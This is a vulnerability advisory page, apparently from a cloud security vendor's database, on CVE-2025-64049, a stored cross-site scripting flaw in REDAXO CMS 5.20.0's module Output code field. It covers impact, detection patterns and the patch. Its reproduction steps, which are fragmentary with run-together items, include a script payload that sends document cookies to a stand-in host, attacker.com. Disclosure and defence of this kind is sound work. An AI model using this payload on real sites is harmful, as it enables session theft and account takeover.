
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-64049 is a stored cross-site scripting (XSS) vulnerability in the module management component of REDAXO CMS version 5.20.0. It allows remote users with high privileges to inject arbitrary web scripts or HTML via the Output code field in modules, with the payload executing when any user views or edits an article containing a slice that uses the compromised module. The vulnerability was published on November 25, 2025, and a patch was released in version 5.20.1. It carries a CVSS v3.1 base score of 4.8 (Medium) (Github Advisory, Feedly).
The root cause is improper neutralization of user-controllable input before it is rendered in the browser (CWE-79). An authenticated user with administrative or high-privilege access can navigate to the module management section (/redaxo/index.php?page=modules/modules), insert a malicious JavaScript payload into the Output code field of a module, and save it. The payload is then persistently stored in the database and executes in the browser of any user who subsequently views or edits an article that includes a slice referencing the compromised module. A public PoC and disclosure write-up are available (CVE Disclosure, Github Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other authenticated users, including administrators. This can lead to session cookie theft, account takeover, unauthorized actions performed on behalf of victims, and compromise of CMS content integrity. Because the payload is stored persistently in the database, it triggers repeatedly for every affected page view, amplifying the potential impact (CVE Disclosure, Github Advisory).
Public proof-of-concept exploit materials, including screenshots demonstrating the full exploitation process, are available via a Google Drive folder and a GitHub disclosure repository (CVE Disclosure). Exploitation requires high privileges (administrative access to the CMS) and user interaction (a victim must view or edit an affected article). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.033–0.038%, indicating a low near-term exploitation probability (Github Advisory, Feedly).
http://<target>/redaxo/index.php?page=modules/modules.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the Output code field./redaxo/index.php?page=structure), create or edit an article, and add a slice that uses the compromised module. Save the article./redaxo/index.php?page=modules/modules containing script tags or encoded JavaScript in the module output field; repeated GET requests to article pages from multiple user sessions shortly after a module was modified.<script>, javascript:, onerror=, or other event handler attributes in the output column of the modules table.The vulnerability is patched in REDAXO CMS version 5.20.1 (Composer package redaxo/source); administrators should upgrade immediately (Github Advisory). As interim mitigations, restrict module management access to the minimum number of trusted administrators, implement a strict Content Security Policy (CSP) to limit script execution, and audit existing modules for suspicious output code. Proper output escaping of all module code fields before rendering in the browser is the underlying fix (CVE Disclosure).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."